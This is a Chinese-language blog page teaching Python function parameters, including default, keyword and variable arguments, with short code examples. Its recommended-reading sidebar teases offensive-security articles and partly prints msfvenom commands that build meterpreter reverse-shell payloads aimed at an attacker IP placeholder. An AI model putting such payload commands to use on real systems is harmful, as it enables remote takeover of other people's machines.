前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >python第十四课--排序及自定义函数之自定义函数(案例五)

python第十四课--排序及自定义函数之自定义函数(案例五)

作者头像
hankleo
发布于 2020-09-16 07:58:10
发布于 2020-09-16 07:58:10
38600
代码可运行
举报
文章被收录于专栏:Hank’s BlogHank’s Blog
运行总次数:0
代码可运行

演示函数的定义和使用细节: 默认参数: #在设计自定义函数的时候,就存在一个默认值,就算在调用的时候不显示的传入实参,也不会报错。 #会用默认值来代替参与后期的运算

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def m1(name='张三',age=23):
    print(name,age)

m1('李四')
m1('王五',18)

一般参数: 定义函数的时候有几个参数,在调用函数的时候就需要显示的传递几个实参, 而且要保证位置不能传错,否则会造成数据内容的不合理

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def m2(name,age,sex):
    print(name,age,sex)
m2('王五',22,'男')

关键字参数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def m3(name,age,sex):
    print(name,age,sex)
m3(age=25,name="钱八",sex="女")

可变参数:(重要) 格式: def 函数名(*args,**kwargs): 函数体 参数的讲解: *args:可以接受0~无穷多个单值,将它们存入到一个元祖中使用 **kwargs:接可以受0~无穷多个键值对,将它们存入到一个字典中使用

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def m4(*args,**kwargs):
    print(args,type(args))
    print(kwargs,type(kwargs))
m4()
m4(10,2,2,3,4,True,'adc',name='hank')

需求:实现整数求和功能?

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def my_sum(*args):
    #遍历args中的每一个元素,将他们累加起来
    mySum=0
    for i in args:
        mySum += i
    return mySum
mySum=my_sum(1,2,3,4,5)
print('和值为:%d' %mySum)
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-02-25 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Metasploit 生成各种后门
Metasploit 是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,同时该工具也是渗透测试环境中的利器,它支持多平台Payload的生成具有完全的跨平台性,本次实验将学会生成各种攻击载荷。
王瑞MVP
2022/12/28
1.2K0
Windows提权总结(超详细)
在 Windows 中实现特权升级的最终目标是获得作为管理员或系统用户运行的权限,提权的关键是需要对受破坏的系统进行大量的信息搜集。
红队蓝军
2024/07/16
9990
Windows提权总结(超详细)
Metasploit 学习记录
一直在用 Metasploit,但是从来没有花时间仔细去研究这个工具,最近得空就系统的研究研究,故于此记录之。
小简
2023/01/04
2.3K0
Metasploit 学习记录
红队常用命令
如下编码网站: https://ares-x.com/tools/runtime-exec/ https://r0yanx.com/tools/java_exec_encode/ https://www.bugku.net/runtime-exec-payloads/
reyeye
2023/10/13
3.5K0
0xA - Metasploit Automation的Python
Spiderlabs的Python模块pymsf允许Python和Metasploit的msgrpc之间的交互。首先,您需要加载msfconsole并使用以下命令启动msgrpc服务:
重生信息安全
2020/04/27
1.1K0
工具的使用 | Metasploit Framework(MSF)的使用
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。
谢公子
2022/01/13
2.5K0
工具的使用 | Metasploit Framework(MSF)的使用
使用MSF生成各种Payload
Windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe Linux: msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
王瑞MVP
2022/12/28
6150
Mimikatz获取系统密码攻防研究
最新版下载地址:https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180205/mimikatz_trunk.zip
用户1631416
2020/04/08
4.2K0
Mimikatz获取系统密码攻防研究
内网渗透:一次完整的域渗透
域(Domain)是一个有安全边界的计算机集合(安全边界的意思是,在两个域中,一个域中的用户无法访问另一个域中的资源)
亿人安全
2022/12/23
2.6K0
内网渗透:一次完整的域渗透
浅谈MSF渗透测试
在渗透过程中,MSF漏洞利用神器是不可或缺的。更何况它是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。是信息收集、漏洞扫描、权限提升、内网渗透等集成的工具。
FB客服
2019/08/20
1.6K0
metasploit渗透主机总结
在Windows192.168.0.106打开浏览器,输入http://192.168.0.150,下载payload.exe文件
顾翔
2022/09/23
5690
metasploit渗透主机总结
由浅入深的域渗透系列一(下)
因为192.168.52.0/24段不能直接连接到192.168.33.3(kali地址),所以需要CS派生smb beacon。让内网的主机连接到win7上。
重生信息安全
2020/06/04
1.8K0
Metasploit学习笔记
Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称叫做MSF。Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。
HACK学习
2019/08/07
1.4K0
KALI 内网渗透记录
虚拟机 KALI: 192.168.180.128 目标机器: 192.168.1.52
院长技术
2020/08/19
2.9K0
红队/白帽必经之路(18)——如何用Metasploit 制作Windows恶意木马病毒/软件获取shell[既然是红队,那就对自己狠一点]
盛透侧视攻城狮
2024/12/25
1540
红队/白帽必经之路(18)——如何用Metasploit 制作Windows恶意木马病毒/软件获取shell[既然是红队,那就对自己狠一点]
学习之详细说说MSF渗透测试
在渗透过程中,MSF漏洞利用神器是不可或缺的。更何况它是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。是信息收集、漏洞扫描、权限提升、内网渗透等集成的工具。
TRY博客-简单的网络技术
2022/07/18
1.7K0
学习之详细说说MSF渗透测试
小白入门学习内网之横向渗透攻击流程
这里有绝对路径的情况下,可直接写入webshell。这里使用sqlmap os-shell的功能
Power7089
2020/05/25
3.2K1
小白入门学习内网之横向渗透攻击流程
利用Pascal+zutto_dekiru进行免杀
最近在知识星球看到@冷逸师傅分享的一个Pascal语言shellcode注入项目,因为Pascal为冷门语言,所以大概率不会被查杀,所以可以用这个项目来对我们的马儿进行免杀处理。
潇湘信安
2022/04/01
8670
利用Pascal+zutto_dekiru进行免杀
基于Windows白名单执行Payload上线Metasploit - 渗透红队笔记
Rundll32是指32位的DLL文件,它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。
渗透攻击红队
2020/11/25
2.5K0
基于Windows白名单执行Payload上线Metasploit - 渗透红队笔记
上线Metasploit后该干啥?
假如拿到的权限并不是管理员系统权限,又不知道是否存在本地提权的漏洞,就可以选择如下模块进行测试
网络安全自修室
2021/11/25
4070
上线Metasploit后该干啥?
相关推荐
Metasploit 生成各种后门
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档